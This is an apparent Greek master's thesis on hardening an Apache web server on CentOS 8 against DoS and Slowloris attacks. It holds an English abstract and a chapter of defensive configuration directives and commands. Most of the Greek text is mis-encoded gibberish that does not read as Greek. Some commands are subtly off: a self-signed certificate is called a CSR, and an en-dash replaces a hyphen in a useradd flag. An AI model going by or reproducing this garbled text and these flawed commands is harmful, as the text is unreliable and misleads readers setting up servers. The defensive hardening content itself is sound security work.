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Πεπίλητη 

 

΢ηηο κέξεο καο κηα από ηηο πνην ζπρλέο επηζέζεηο πνπ πξαγκαηνπνηνύληαη από ηνπο 

hackers είλαη ε επίζεζε Άξλεζε Παξνρήο Τπεξεζηώλ (Denial of Service Attack - 

DoS) όπνπ δηνρεηεύνληαη ηεξάζηηεο πνζόηεηεο traffic ζην δίθηπν ζηόρν θαη απηό έρεη 

σο απνηέιεζκα νη servers ηνπ ζηόρνπ λα θαζίζηαηαη κε ιεηηνπξγηθνί κέζα ζε 

ειάρηζην ρξνληθό δηάζηεκα. Η επίζεζε Slowloris είλαη έλα είδνο επίζεζεο DoS ε 

νπνία επηηξέπεη ζε κηα απιή κεραλή λα ξίμεη έλα web server ζηόρν κε ην ειάρηζην 

bandwidth θαη λα δεκηνπξγήζεη παξελέξγεηεο ζε ππεξεζίεο θαη πόξηεο. Σν 

ζεκαληηθόηεξν όκσο είλαη όηη δελ είλαη κηα ηέηνηα επίζεζε αληρλεύζηκε από IDS 

ζπζηήκαηα επεηδή ηα HTTP headers ζηα requests πνπ ζηέιλνληαη ζηνλ server δελ 

είλαη νινθιεξσκέλα θαη απηό έρεη σο απνηέιεζκα απηά ηα requests λα παξακέλνπλ 

αλνηρηά γεκίδνληαο έηζη ηνλ κέγηζην αξηζκό ηαπηόρξνλσλ connections πνπ κπνξεί λα 

δερηεί ν server θαη ηειηθά ν server λα αξλείηαη λα παξέρεη ηα επηπξόζζεηα 

connections ζηνπο clients. 

΢ηα πιαίζηα απηήο ηεο εξγαζίαο, έρεη πινπνηεζεί έλα bash script ην νπνίν νλνκάδεηαη 

centos8-apache-hardening.sh θαη έρεη σο ζηόρν λα εθαξκόδεη ηα απαξαίηεηα 

installations θαη configurations ζε έλαλ Apache Web Server Centos 8 ιεηηνπξγηθνύ 

ζπζηήκαηνο πξνθεηκέλνπ λα επαπμήζεη ηελ αζθάιεηα ηνπ Web Server ελάληηα ζε 

δηάθνξεο επηζέζεηο ζπκπεξηιακβαλνκέλνπ θαη ηεο Slowloris. Πνην ζπγθεθξηκέλα ζην 

θεθάιαην 1 πεξηγξάθνληαη νη βέιηηζηεο πξαθηηθέο πνπ εθαξκόδεη ην bash script γηα 

ηελ επαύμεζε ηεο αζθάιεηαο ηνπ Apache Web Server, ζην θεθάιαην 2 πεξηγξάθνληαη 

νη DoS επηζέζεηο θαζώο θαη νη ηξόπνη πξνζηαζίαο πνπ εθαξκόδεη ην script ελάληηα 

ζηελ Slowloris επίζεζε θαη γεληθά ζηηο DoS επηζέζεηο, ζην θεθάιαην 3 γίλεηαη 

αλαιπηηθή πεξηγξαθή ησλ ηερληθώλ πξνδηαγξαθώλ ηνπ bash script θαζώο θαη 

αλαιύνληαη επηπξόζζεηα κέηξα επαύμεζεο αζθάιεηαο επηπέδνπ ζπζηήκαηνο πνπ 

εθαξκόδεη ην bash script ζηνλ Apache Web Server. Σέινο ζην θεθάιαην 4 

πξαγκαηνπνηνύληαη δνθηκέο αζθάιεηαο θαη νξζόηεηαο ησλ security modules πνπ 

εγθαζηζηά ην bash script θαζώο επίζεο πξαγκαηνπνηνύληαη Slowloris επηζέζεηο ζε 

έλαλ Apache Web Server πξηλ θαη κεηά ηελ εθαξκνγή ηνπ bash script θαη 

παξαηίζεληαη ηα αληίζηνηρα απνηειέζκαηα.  

 

  



 

Abstract 

 

Nowadays one of the most frequent attacks carried out by hackers is the Denial of 

Service Attack – DoS where huge amounts of traffic are channeled in the target 

network and this results target servers become non-functional within a short period of 

time. Slowloris attack is a type of DoS attack that allows a simple machine to drop a 

target web server with minimal bandwidth and create side effects on services and 

doors. But the most important thing is that such an attack is not detectable by IDS 

systems because the HTTP headers in the requests sent to the server are not complete 

and as a result, these requests remain open, thus filling the maximum number of 

simultaneous connections that the server can accept and ultimately the server refuses 

to provide additional connections to clients.  

As part of this thesis, a bash script has been implemented which is called centos8-

apache-hardening.sh and its main task is to implement the necessary installations and 

configurations on a Centos 8 OS Apache Web Server in order to increase the security 

of the Web Server against various attacks including Slowloris. More specific, in 

chapter 1 are described the best practices of bash script for enhancing the security of 

Apache Web Server, in chapter 2 are described DoS attacks as well as the protection 

methods that the script applies against the Slowloris and DoS attacks, in chapter 3 is 

provided a detailed description of the technical specifications of the bash script as 

well as are described additional measures to increase system level security in the 

Apache Web Server implemented by the bash script.  Finally in chapter 4 safety and 

accuracy tests are performed on security modules that installed by the bash script as 

well as Slowloris attacks on an Apache Web Server are performed before and after the 

bash script is applied, and the corresponding results are presented.  
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Εςσαπιζηίερ 

 

Γηα ηελ νινθιήξσζε ηεο παξνύζαο Γηπισκαηηθήο Δξγαζίαο, ζα ήζεια λα 

επραξηζηήζσ εθ βάζνπο θαξδίαο ηνλ θαζεγεηή θ. ΢ηέθαλν Γθξίηδαιε γηα ηελ 

εκπηζηνζύλε ηνπ πξνο ζε εκέλα γηα ην ζπγθεθξηκέλν ζέκα ηεο εξγαζίαο, θαζώο θαη 

γηα ηηο πνιύ ρξήζηκεο γλώζεηο πνπ κνπ κεηέδσζε θαζ‟ όιε ηε δηάξθεηα ησλ 

κεηαπηπρηαθώλ κνπ ζπνπδώλ. 

Δπίζεο πνιιέο επραξηζηίεο νθείισ ζηνλ θ. Σαγκαηάξρε (ΔΠ) Γεώξγην Βάζην από ην 

Γεληθό Δπηηειείν ΢ηξαηνύ/Γηεύζπλζε Πιεξνθνξηθήο γηα ηελ άξηζηε ζπλεξγαζία θαη 

θαζνδήγεζή ηνπ, ηηο πνιύηηκεο ζπκβνπιέο ηνπ πνπ ήηαλ θαζνξηζηηθέο γηα ηελ 

δηεθπεξαίσζε απηήο ηεο εξγαζίαο. 
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1 Βέιηηζηεο πξαθηηθέο επαύμεζεο αζθαιείαο Web Server 

Ο Apache web server είλαη έλαο από ηνπο πνην δεκνθηιήο web servers πνπ είλαη 

δηαζέζηκνη ηόζν γηα Windows όζν θαη Linux/Unix. ΢ήκεξα ρξεζηκνπνηείηαη γηα λα 

θάλεη hosting πεξίπνπ ην 40% ησλ ηζηνζειίδσλ θαζώο είλαη έλαο από ηνπο πνην 

αζθαιείο web servers. [2]. ΢ε αληίζεζε κε άιιεο ζπζθεπέο δηθηύνπ πνπ θάζνληαη 

πίζσ από επίπεδα αζθάιεηαο θαη firewalls, ν Apache web server είλαη ζρεδηαζκέλνο 

λα θάζεηαη ζηελ άθξε ηνπ δηθηύνπ κε ζθνπό ηνλ δηακνηξαζκό πιεξνθνξηώλ ζηνλ έμσ 

θόζκν. Γη‟ απηό δελ απνηειεί έθπιεμε όηη έλαο web server είλαη ζπρλά ην πξώην 

πξάγκα πνπ νη hackers θνηηάλε όηαλ ζέινπλ λα επηηεζνύλ ζε έλαλ ζηόρν. Υσξίο όκσο 

ηηο θαηάιιειεο πξνθπιάμεηο θαη configurations, απηέο νη ζπζθεπέο κπνξνύλ λα 

δώζνπλ ζηνπο επηηηζέκελνπο ην πάηεκα πνπ ρξεηάδνληαη γηα λα πξαγκαηνπνηήζνπλ 

ηελ επίζεζή ηνπο. [1] 

Μηα ζύληνκε καηηά ζηηο πνην ζπρλέο web-based θπβεξλνεπηζέζεηο νδεγνύλ ζε web 

servers νη νπνίνη κνηξάδνπλ αξθεηέο πιεξνθνξίεο ηεο ζπζθεπήο, SQL injection, 

επηζέζεηο ηύπνπ δηαρείξηζεο session αθόκα θαη ζηελ κε εγθαηάζηαζε ηειεπηαίσλ 

patches ζηνλ server. Γειαδή, αλ αθήζνπκε ηνλ web server ελόο νξγαληζκνύ κε ηα 

default configuration ηνπ, ηόηε ζύληνκα ζα βξνύκε ζεκαληηθέο πιεξνθνξίεο 

εθηεζεηκέλεο ζην Internet ή αθόκα ρεηξόηεξα κπνξεί θάπνηνο επηηηζέκελνο λα 

απνθηήζεη πξόζβαζε θαηεπζείαλ ζηνλ web server. 

Δπνκέλσο έλαο νξγαληζκόο, απηό πνπ κπνξεί λα θάλεη πξνθεηκέλνπ λα θέξεη ηνπο 

hackers ζε δύζθνιε ζέζε ή λα ηνπο δπζθνιέςεη αξθεηά από ην λα βξνπλ έλα 

αζζελέζηεξν ζηόρν είλαη λα απμήζνπλ ηελ αζθάιεηα (harden) ηνπ web server. [1] 

Παξαθάησ πεξηγξάθεηαη κηα ζπιινγή από βέιηηζηεο πξαθηηθέο θαη configurations 

πνπ έρνπλ ζθνπό ην web server hardening. 

 

1.1 Απελεξγνπνίεζε Τπνγξαθήο  

Έλαο ζπρλόο ηξόπνο κε ηνλ νπνίν νη επηηηζέκελνη μεθηλνύλ λα εξεπλνύλ έλαλ web 

server γηα πηζαλή επίζεζε είλαη ζηέιλνληαο έλα απνκαθξπζκέλν request ην νπνίν έρεη 

σο ζθνπό λα θέξεη πίζσ πνιύηηκε πιεξνθνξία πνπ ζεξβίξεηαη από ηελ ππνγξαθή ηνπ 

server. Απηό είλαη γλσζηό σο server footer θαη ην default configuration εθζέηεη ηελ 

έθδνζε ηνπ Apache web server θαζώο επίζεο θαη ην ινγηζκηθό όπσο θαίλεηαη ζηελ 

παξαθάησ εηθόλα: 
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Εικόνα 1. Έκδοζη Apache Web Server 

 

Απελεξγνπνηώληαο ηελ ππνγξαθή ηνπ server εκπνδίδνπκε upon request ή κεηά από 

απάληεζε 404 ζειίδαο ζθάικαηνο ηελ εκθάληζε ηνπ νλόκαηνο ηνπ server, ηεο 

έθδνζεο ηνπ θαη άιιεο πιεξνθνξίεο όπσο κελύκαηα ιάζνπο, πιεξνθνξίεο modules 

θαη πιεξνθνξίεο θαηαιόγσλ.  

Γηα λα πξνζηαηέςνπκε ηνλ Apache web server γηα παξάδεηγκα από απνξξύζκηζε, 

πεγαίλνπκε ζην configuration file ηνπ ην νπνίν βξίζθεηαη ζην path: 

/etc/httpd/conf/httpd.conf θαη πξνζζέηνπκε ην παξαθάησ [1]: 

ServerSignature Off 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.2 Οξηζκόο ησλ ServerTokens ζε παξαγσγηθό mode 

Όκνηα κε ηελ ππνγξαθή ηνπ Apache Server, ηα ServerTokens ειέγρνπλ ηελ 

πιεξνθνξία πνπ ζηέιλεηαη πίζσ σο απάληεζε ηνπ Server ζην πεδίν header. Σν 

ServerTokens directive πξέπεη λα νξίδεηαη ζε production mode (δειαδή Prod) γηα λα 

δίλνπλ ηελ νδεγία ζηνλ Apache server λα επηζηξέθεη κόλν “Apache” ζηνπο headers 

ηεο απάληεζήο ηνπ. Γηα λα γίλεη απηό ζα πξέπεη λα πξνζηεζεί ην παξαθάησ directive 

ζην Apache configuration file ην νπνίν βξίζθεηαη ζην path: /etc/httpd/conf/httpd.conf 

[2]: 

ServerTokens Prod 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 



3 
 

Από ηελ παξαθάησ εηθόλα βιέπνπκε όηη νη πιεξνθνξίεο ηεο έθδνζεο ηνπ Apache 

server θαη ηνπ ιεηηνπξγηθνύ εμαθαλίζηεθαλ θαη εκθαλίδεηαη κόλν ε ιέμε Apache. 

 

 

Εικόνα 2. Απόκπςτη πληποθοπιών Apache Web Server και λειηοςπγικού ζςζηήμαηορ 

 

1.3 Απελεξγνπνίεζε ηεο θαηάζηαζεο ηνπ Server 

Όηαλ είλαη ελεξγνπνηεκέλν ην directive <Location /server-status> ηόηε παξνπζηάδεηαη 

πιεξνθνξία γηα ηελ απόδνζε ηνπ server όπσο ην server uptime, ν θόξηνο ηνπ server, 

ηξέρνληα HTTP requests θαη νη client IP δηεπζύλζεηο. Έλαο επηηηζέκελνο κπνξεί λα 

ρξεζηκνπνηήζεη απηή ηελ πιεξνθνξία γηα λα πξαγκαηνπνηήζεη επίζεζε ζηνλ web 

server. 

Γηα λα απελεξγνπνηήζνπκε ηελ θαηάζηαζε ηνπ server κπνξνύκε ζην Apache 

configuration file ην νπνίν βξίζθεηαη ζην path: /etc/httpd/conf/httpd.conf λα 

ζρνιηάζνπκε απηή ηελ νδεγία σο εμήο [2]: 

#<Location /server-status> 

# SetHandler server-status 

# Order deny,allow 

# Deny from all 

# Allow from .your_domain.com 

#</Location> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 
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1.4 Πξόζβαζε ζηα αξρεία θαηαγξαθήο ηνπ Server 

Από πξνεπηινγή, Apache θαη Windows servers δελ είλαη ξπζκηζκέλνη ζην λα 

ιακβάλνπλ πιεξνθνξίεο ζύλδεζεο θαζώο νη ρξήζηεο απζεληηθνπνηνύληε θαη 

πξαγκαηνπνηνύλ άιια requests. ΢ηνλ Apache server, απηά ηα αξρεία θαηαγξαθήο 

κπνξνύλ λα πξνζαξκνζηνύλ ζηηο αλάγθεο ελόο νξγαληζκνύ θαη κπνξνύλ λα 

γξάθνληαη ζε μερσξηζηό αξρείν ή λα ζηέιλνληαη ζε εμσηεξηθή εθαξκνγή γηα 

πεξεηαίξσ αλάιπζε. Μπνξνύλ επίζεο λα νξηζηνύλ ζπλζήθεο πνπ λα εμαηξνύληαη ή λα 

πεξηιακβάλνληαη ζπγθεθξηκέλα θξηηήξηα πνπ παξνπζηάδνληαη. Δπεηδή ε πιεξνθνξία 

πνπ θαηαγξάθεηαη είλαη επξεία, ε πιεξνθνξία θιεηδί κπνξεί λα πεξηιακβάλεη ηελ IP 

δηεύζπλζε ηνπ αηηνύληνο, ην session ID, ην host θαη ηα bytes πνπ ιήθζεθαλ ή 

ζηάιζεθαλ κεηαμύ αηηνύληνο θαη apache web server. [1]  

Γηα λα ελεξγνπνηεζεί ην logging ζα πξέπεη ην module mod_log_config λα γίλεη 

include κέζα ζην Apache configuration file ην νπνίν βξίζθεηαη ζην path: 

/etc/httpd/conf/httpd.conf. Απηό ην module παξέρεη ηα directives TransferLog, 

LogFormat θαη CustomLog ηα νπνία ρξεζηκνπνηνύληαη γηα λα δεκηνπξγήζνπκε έλα 

log file κε πξνζαξκνζκέλε κνξθή όπνπ κπνξεί λα δεκηνπξγείηαη αη λα κνξθνπνηείηαη 

ην log ζε έλα βήκα. Όπσο θαίλεηαη παξαθάησ, ην LogFormat directive 

ρξεζηκνπνηείηαη γηα λα νξίδεη κηα πξνζαξκνζκέλε κνξθή logging όπνπ ν referrer θαη 

o browser ζε θάζε request θαηαγξάθνληαη καδί κε ηηο πξνεπηιεγκέλεο logging 

παξακέηξνπο. ΢ηε ζπλέρεηα ην CustomLog directive ρξεζηκνπνηείηαη σο νδεγία ζηνλ 

Apache λα ρξεζηκνπνηεί απηή ηελ logging κνξθνπνίεζε [2]. 

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" 

detailed 

CustomLog logs/access.log detailed 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.5 Απελεξγνπνίεζε ηνπ HTTP ίρλνπο θαη παξαθνινύζεζε ησλ αηηεκάησλ  

Παξόιν πνπ ην λα επηηξέπεηο ζηνλ web server λα απαληά ζε HTTP Trace θαη Track 

requests κπνξεί λα ρξεζηκνπνηεζνύλ γηα λόκηκν ζθνπό όπσο ζηνλ εληνπηζκό 

ζθαικάησλ ζύλδεζεο εληόο ηνπ δηθηύνπ ελόο νξγαληζκνύ, απηά ηα πξσηόθνιια 
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κπνξεί λα ζέζνπλ ζε θίλδπλν ηελ αζθάιεηα ηνπ web server. Μηα από ηηο πνην ζπρλέο 

επηζέζεηο είλαη ε Cross-Site Tracing επίζεζε, όπνπ νη επηηηζέκελνη κπνξνύλ λα 

ρξεζηκνπνηήζνπλ θαη λα παξαπνηήζνπλ ηηο TRACE θαη TRACK κεζόδνπο γηα λα 

δηαθόςνπλ θαλνληθέο traffic ζπλδέζεηο, λα θιέςνπλ session cookies θαη πηζαλώο 

νπνηαδήπνηε δεδνκέλα ζε δηέιεπζε. 

Με ην default configuration κπνξνύκε λα θάλνπκε έλα curl ζηελ IP ηνπ Apache 

server ζηελ πόξηα πνπ θάλεη listen (π.ρ 80) θαη λα θάλνπκε έλα Trace request όπσο 

θαίλεηαη παξαθάησ [4]: 

 

Εικόνα 3. Trace ενόρ request με σπήζη curl 

Ο θαιύηεξνο ηξόπνο γηα λα αληηκεησπηζηεί απηό ην πξόβιεκα είλαη λα 

απελεξγνπνηεζεί ε κέζνδνο TRACE HTTP βάδνληαο ηελ παξαθάησ εληνιή κέζα ζην 

Apache config file (path: /etc/httpd/conf/httpd.conf) [1]: 

TraceEnable Off 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

Αλ μαλά θάλνπκε έλα Trace request ζηελ IP ηνπ server θαη ζηελ πόξηα πνπ θάλεη 

listen, ζα πάξνπκε ην παξαθάησ: 
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Εικόνα 4. Trace ενόρ request με απενεπγοποιημένο ηο Trace ζηον Apache Web Server 

 

1.6 Οξηζκόο νξίνπ κεγέζνπο αηηήκαηνο  

Από πξνεπηινγή, ν Apache server δελ έρεη όξην ζην κέγεζνο ηνπ HTTP request. Απηό 

επηηξέπεη ζηνπο hackers λα ζηέιλνπλ κεγάιν αξηζκό δεδνκέλσλ. Μπνξνύκε λα 

πεξηνξίζνπκε ην κέγεζνο ησλ requests ρξεζηκνπνηώληαο ην Apache directive 

LimitRequestBody ζε ζπλδπαζκό κε ην Directory tag. Απηό κπνξεί λα πξνζηαηέςεη 

ηνλ server από επηζέζεηο ηύπνπ άξλεζεο παξνρήο ππεξεζίαο (Denial of Service - 

DOS). 

Έζησ όηη έρνπκε ην site www.example.com όπνπ επηηξέπνπκε uploads, θαη ζέινπκε 

λα κεηώζνπκε ην κέγεζνο ηνπ upload ζην site καο. Μπνξνύκε λα ζέζνπκε ηελ ηηκή 

από 0 (απεξηόξηζην) κέρξη 2147483647 (2GB) ζην Apache config file (path: 

/etc/httpd/conf/httpd.conf) βάδνληαο ην παξαθάησ [5]: 

<Directory /var/www/example.com> 

    LimitRequestBody 204800 

</Directory> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

http://www.example.com/
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1.7 Μέζνδνη HTTP αηηεκάησλ 

Ο Apache server ζην HTTP 1.1 πξσηόθνιιν ππνζηεξίδεη ηηο κεζόδνπο: OPTIONS, 

GET, HEAD, POST, CONNECT, PUT, DELETE, θαη TRACE. Μεξηθέο από απηέο 

κπνξεί λα κελ απαηηνύληαη θαη κπνξεί λα ελέρνπλ πηζαλό θίλδπλν αζθάιεηαο. Γεληθά 

είλαη θαιή πξαθηηθή λα έρνπκε κόλν ελεξγέο ηηο κεζόδνπο HEAD, POST θαη GET 

ζηηο web εθαξκνγέο. 

Γηα λα ην θάλνπκε απηό, ζην Apache config file (path: /etc/httpd/conf/httpd.conf) 

βξίζθνπκε ην section πνπ μεθηλάεη κε Directory /var/www/html θαη πξνζζέηνπκε ηηο 

αθόινπζεο γξακκέο ζε απηή ηελ ελόηεηα [5]: 

<LimitExcept GET POST HEAD> 

    deny from all 

</LimitExcept> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.8 Γεκηνπξγία non-root ρξεζηώλ θαη εθθίλεζε Apache 

Έλα άιιν πνιύ ζεκαληηθό κέηξν αζθάιεηαο πνπ εθαξκόδεηαη όρη κόλν ζε web 

servers αιιά ζηελ δηαρείξηζε ηνπ ιεηηνπξγηθνύ ζπζηήκαηνο είλαη ε δεκηνπξγία ελόο 

non-root ινγαξηαζκνύ γηα βαζηθά δηνηθεηηθά θαη δηαρεηξηζηηθά θαζήθνληα. Κάλνληαο 

ην απηό, έλαο νξγαληζκόο κπνξεί λα πξνζζέζεη έλα επηπιένλ layer αζθάιεηαο ζηελ 

πεξίπησζε πνπ έλαο επηηηζέκελνο απνθηήζεη ηα ζηνηρεία ελόο non-root ρξήζηε ζηνλ 

web server [1]. 

Γηα λα ην θάλνπκε απηό, ζην Linux ιεηηνπξγηθό δεκηνπξγνύκε έλαλ λέν ρξήζηε θαη 

group apache κε ηηο παξαθάησ εληνιέο [4]: 

sudo groupadd apache 

sudo useradd –G apache apache 

΢ηε ζπλέρεηα αιιάδνπκε ην ownership ζηνλ θαηάινγν πνπ είλαη εγθαηεζηεκέλνο ν 

Apache server κε ρξήζε ηεο παξαθάησ εληνιήο: 

sudo chown -R apache:apache /etc/httpd/ 
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Σν επόκελν βήκα είλαη ζην Apache configuration file (path: 

/etc/httpd/conf/httpd.conf) λα βξνύκε θαη λα αιιάμνπκε ην User & Group directive 

ζηνλ non-root ρξήζηε, δειαδή ζηνλ apache: 

User apache  

Group apache 

Σέινο θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ εληνιήο: 

sudo apachectl restart 

Γηα λα βεβαησζνύκε όηη ν Apache server ηξέρεη σο apache user εθηεινύκε ην 

παξαθάησ grep όπνπ βιέπνπκε θαη από ηελ παξαθάησ εηθόλα όηη έλα process ηξέρεη 

σο root θαη ηα ππόινηπα σο apache. Ο ιόγνο πνπ ην πξώην process ηξέρεη σο root 

είλαη επεηδή ν Apache αθνύεη ζηελ πόξηα 80 θαη γη‟ απηό πξέπεη λα ζεθσζεί σο root. 

 

Εικόνα 5. Εκηέλεζη Apache Web Server υρ apache user 

 

1.9 Πεξηνξηζκόο πξόζβαζεο IP δηεύζπλζεο 

Αλ ν Apache web server ρξεζηκνπνηείηαη γηα πεξηνξηζκέλν ζθνπό όπσο ηνλ 

δηακνηξαζκό πιεξνθνξίαο εζσηεξηθά ζε έλαλ νξγαληζκό, ηελ θηινμελία κηαο 

ζηαηηθήο ηζηνζειίδαο ή ειέγρνπο γηα ζθνπνύο development, ηόηε κπνξεί λα ξπζκηζηεί 

λα επηηξέπεη κόλν ζπγθεθξηκέλεο IP δηεπζύλζεηο ή δίθηπν. [1] 

Σν εύξνο ησλ IP δηεπζύλζεσλ γηα απνδνρή ή απόξξηςε κπνξεί λα ξπζκηζηεί ζην site 

Directory ζην Apache config file (path: /etc/httpd/conf/httpd.conf) σο εμήο: 

<Directory /var/www/example.com> 

  Options None 

  AllowOverride None 

  Order deny,allow 

  Deny from All 

  Allow from 10.10.10.0/24 

</Directory> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 
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sudo apachectl restart 

 

1.10 Γηακόξθσζε ηεο ηηκήο timeout 

Από πξνεπηινγή, ε ηηκή ηνπ Apache timeout είλαη 300 δεπηεξόιεπηα, ην νπνίν κπνξεί 

λα πέζεη ζύκα ν web server κηαο επίζεζεο Slow Loris θαη DoS. Γηα λα ην 

αληηκεησπίζνπκε απηό, κπνξνύκε λα θαηεβάζνπκε ηελ ηηκή ηνπ timeout ζε 60 

δεπηεξόιεπηα βάδνληαο ην παξαθάησ directive ζην Apache config file (path: 

/etc/httpd/conf/httpd.conf) [4]. 

Timeout 60 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.11 Απελεξγνπνίεζε ηνπ HTTP 1.0 πξσηνθόιινπ  

Δπεηδή ην πξσηόθνιιν HTTP 1.0 έρεη αδπλακίεο αζθάιεηαο πνπ ζρεηίδνληαη κε ην 

session hijacking, κπνξνύκε λα ην απελεξγνπνηήζνπκε ρξεζηκνπνηώληαο ην 

mod_rewrite module έηζη ώζηε λα έρνπκε ηελ κέγηζηε δπλαηή αζθάιεηα πνπ 

κπνξνύκε. 

Γηα λα ην θάλνπκε απηό αξρηθά βεβαησλόκαζηε όηη έρνπκε θνξηώζεη ην mod_rewrite 

module ζην Apache config file (path: /etc/httpd/conf/httpd.conf) θαη ζηελ ζπλέρεηα 

ελεξγνπνηνύκε ην RewriteEngine directive θαη βάδνπκε θαη ην Rewrite condition γηα 

λα επηηξέπεη κόλν ην HTTP 1.1 πξσηόθνιιν όπσο θαίλεηαη παξαθάησ [4]: 

RewriteEngine On 

RewriteCond %{THE_REQUEST} !HTTP/1.1$ 

RewriteRule .* - [F] 

 

1.12 SSL  

Σν λα έρεηο SSL είλαη έλα επηπξόζζεην layer αζθάιεηαο ην νπνίν κπνξνύκε λα 

βάινπκε κέζα ζηελ Web εθαξκνγή καο. Παξ‟ όια απηά ην πξνεπηιεγκέλν SSL 

configuration νδεγεί ζε νξηζκέλεο εππάζεηεο θαη πξέπεη λα αιιάμνπκε απηά ηα 

configurations. [4] 
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1.12.1 SSL Key 

Η παξαβίαζε ηνπ SSL θιεηδηνύ είλαη δύζθνιε, αιιά όρη απίζαλε. Δίλαη απιώο ζέκα 

ππνινγηζηηθήο δύλακεο θαη ρξόλνπ. Γηα παξάδεηγκα αλ ρξεζηκνπνηείο έλαλ 

ππνινγηζηή ηεο επνρήο ηνπ 2009 γηα πεξίπνπ 73 εκέξεο, κπνξείο λα θάλεηο reverse 

engineer έλα 512-bit key. 

Δπνκέλσο, όζν κεγαιύηεξν κήθνο θιεηδηνύ ρξεζηκνπνηείο, ηόζν πνην πεξίπινθν 

γίλεηαη ην λα ζπάζεη ην SSL key. Η πιεηνςεθία ησλ κεγαιύηεξσλ Web εηαηξηώλ 

ρξεζηκνπνηνύλ 2048 bit key όπσο παξνπζηάδνληαη παξαθάησ [4]: 

 Outlook.com 

 Microsoft.com 

 Skype.com 

 Apple.com 

 Yahoo.com 

 Bing.com 

 Hotmail.com 

 Twitter.com 

Αθνύ βεβαησζνύκε όηη έρνπκε θάλεη εγθαηάζηαζε ην Apache ssl module ην νπνίν 

παξέρεη SSL θξππηνγξάθεζε κε ρξήζε ηεο παξαθάησ εληνιήο: 

sudo yum install mod_ssl 

θαη αθνύ θηηάμνπκε ηα θαηάιιεια ssl directories γηα ηα θιεηδηά [6]: 

sudo mkdir /etc/ssl/private 

sudo chmod 700 /etc/ssl/private 

΢ηε ζπλέρεηα κπνξνύκε λα ρξεζηκνπνηήζνπκε ην OpenSSL γηα λα θάλνπκε generate 

CSR κε 2048 bits ρξεζηκνπνηώληαο ηελ παξαθάησ εληνιή: 

sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout 

/etc/ssl/private/apache-selfsigned.key -out /etc/ssl/certs/apache-selfsigned.csr 

Όπνπ, 

 openssl: Δίλαη έλα command line tool γηα δεκηνπξγία θαη δηαρείξηζε OpenSSL 

πηζηνπνηεηηθώλ, θιεηδηώλ θαη άιισλ αξρείσλ 

 req –x509: Απηό θαζνξίδεη όηη ζέινπκε λα ρξεζηκνπνηήζνπκε X.509 

δηαρείξηζε αηηήκαηνο ππνγξαθήο πηζηνπνηεηηθνύ (CSR). Σν “X.509” είλαη έλα  
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πξόηππν ππνδνκήο δεκόζηνπ θιεηδηνύ όπνπ ηεξνύλ ην SSL θαη ην TLS γηα 

δηαρείξηζε θιεηδηώλ θαη πηζηνπνηεηηθώλ. 

 -nodes: Απηό ιέεη ζην OpenSSL λα παξαιείςεη ηελ επηινγή γηα πξνζηαζία 

ηνπ πηζηνπνηεηηθνύ καο από κηα θξάζε πξόζβαζεο (passphrase). Θέινπκε ν 

Apache λα κπνξεί λα δηαβάζεη απηό ην αξρείν ρσξίο παξέκβαζε ρξήζηε θαηά 

ηελ εθθίλεζε ηνπ web server. Μηα passphrase ζα ην εκπνδίζεη απηό γηαηί ζα 

πξέπεη λα ηελ πιεθηξνινγνύκε κεηά από θάζε restart ηνπ server. 

 -days 365: Απηή ε επηινγή ζέηεη ην εύξνο ρξόλνπ θαηά ην νπνίν ην 

πηζηνπνηεηηθό ζα είλαη έγθπξν. Δδώ ην ζέηνπκε λα είλαη valid γηα 1 ρξόλν. 

 -newkey rsa:2048: Απηό θαζνξίδεη όηη εκείο ζέινπκε λα δεκηνπξγήζνπκε έλα 

θαηλνύξην πηζηνπνηεηηθό θαη έλα θαηλνύξην θιεηδί ηαπηόρξνλα. Γελ 

δεκηνπξγήζακε έλα θιεηδί ην νπνίν ρξεηάδεηαη γηα ηελ ππνγξαθή ηνπ 

πηζηνπνηεηηθνύ ζε πξνεγνύκελν βήκα, αιιά πξέπεη λα ην δεκηνπξγήζνπκε 

καδί κε ην πηζηνπνηεηηθό. Σν ηκήκα rsa:2048 ιέεη λα δεκηνπξγήζεηο έλα RSA 

θιεηδί ην νπνίν λα έρεη κήθνο 2048 bits. 

 -keyout: Απηό ιέεη ζην OpenSSL πνπ λα ηνπνζεηήζεη ην ηδησηηθό θιεηδί πνπ 

δεκηνπξγήζεθε. 

 -out: Απηό ιέεη ζην OpenSSL πνπ λα ηνπνζεηήζεη ην πηζηνπνηεηηθό πνπ 

δεκηνπξγήζεθε. 

Μόιηο εθηειέζνπκε ην παξαπάλσ request, ζα πξέπεη ζηε ζπλέρεηα λα εηζάγνπκε 

πιεξνθνξίεο γηα ην web site καο. Γηα παξάδεηγκα ζα πξέπεη λα εηζάγνπκε ηηο CSR 

πιεξνθνξίεο όπσο θαίλεηαη παξαθάησ [6]: 

Country Name (2 letter code) [XX]:GR 

State or Province Name (full name) []:Example 

Locality Name (eg, city) [Default City]:Example  

Organization Name (eg, company) [Default Company Ltd]:Example Inc  

Organizational Unit Name (eg, section) []:Example Dept 

Common Name (eg, your name or your server's hostname) []:example.com 

Email Address []:test@example.com 

 

